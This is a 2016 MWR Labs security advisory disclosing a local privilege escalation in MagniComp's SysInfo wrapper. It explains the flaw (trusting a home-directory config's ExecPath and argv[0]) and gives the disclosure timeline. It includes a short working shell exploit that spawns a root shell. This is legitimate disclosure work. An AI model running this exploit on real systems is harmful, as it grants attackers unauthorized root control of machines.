MWR LABS
Security Advisory

MagniComp's SysInfo root setuid() Local Privilege Escalation Vulnerability

23/09/2016

Software	MagniComp's SysInfo
Affected Versions	OS X, Unix & Linux Sysinfo 10-H63 and prior
CVE Reference	N/A
Author	Daniel Lawson, Romain Trouve
Severity	High
Vendor	MagniComp
Vendor Response	Patch Released

Description:

MagniComp's SysInfo enables system administrators to find and view highly detailed system, software, and hardware information on a variety of platforms.

A Local Privilege Escalation Vulnerability in MagniComp's Sysinfo for Linux could allow a local attacker to gain elevated privileges.

Impact:

This vulnerability allows local users to gain root privilege and hence full control over the affected system.

Cause:

The application relies on information passed to it from the shell to see where it is installed and where to find the configuration file. Additionally, the application relies on arbitrary arguments to decide which applications to execute.

Solution:

Update to the latest version.

Technical details

The vulnerability exists in `.mcsiwrapper`. The wrapper relies on the canonical path supplied by the shell to determine its location. When the application can't find a config file relative to its current location, it looks in the user's home folder for a valid config file. It then reads the `ExecPath` parameter from that config file, and looks in that path for the command to execute (`argv[0]`). It then executes that command with full root privileges.

The following exploit opens up a bash shell with root-level privileges.

```
TEMP=/tmp
MCSYSINFO_DIR=/opt/sysinfo

mkdir -p $TEMP/.mcsysinfo
echo "ExecPath=$TEMP" > $TEMP/.mcsysinfo/mcsysinfo.cfg
echo -e \#\!$SHELL\\n$SHELL > $TEMP/exploit
chmod u+sx $TEMP/exploit
ln -sf $TEMP/.mcsysinfo $TEMP/config
bash -c "cd $TEMP; HOME=. exec -a exploit $MCSYSINFO_DIR/bin/.mcsiwrapper"
```

Detailed Timeline

Date	Summary
2016-06-23	Vulnerability Discovered
2016-07-20	Reported to MagniComp's Security Team
2016-07-21	Fixes Confirmed
2016-08-23	Public Patch Released
2016-09-23	Advisory Released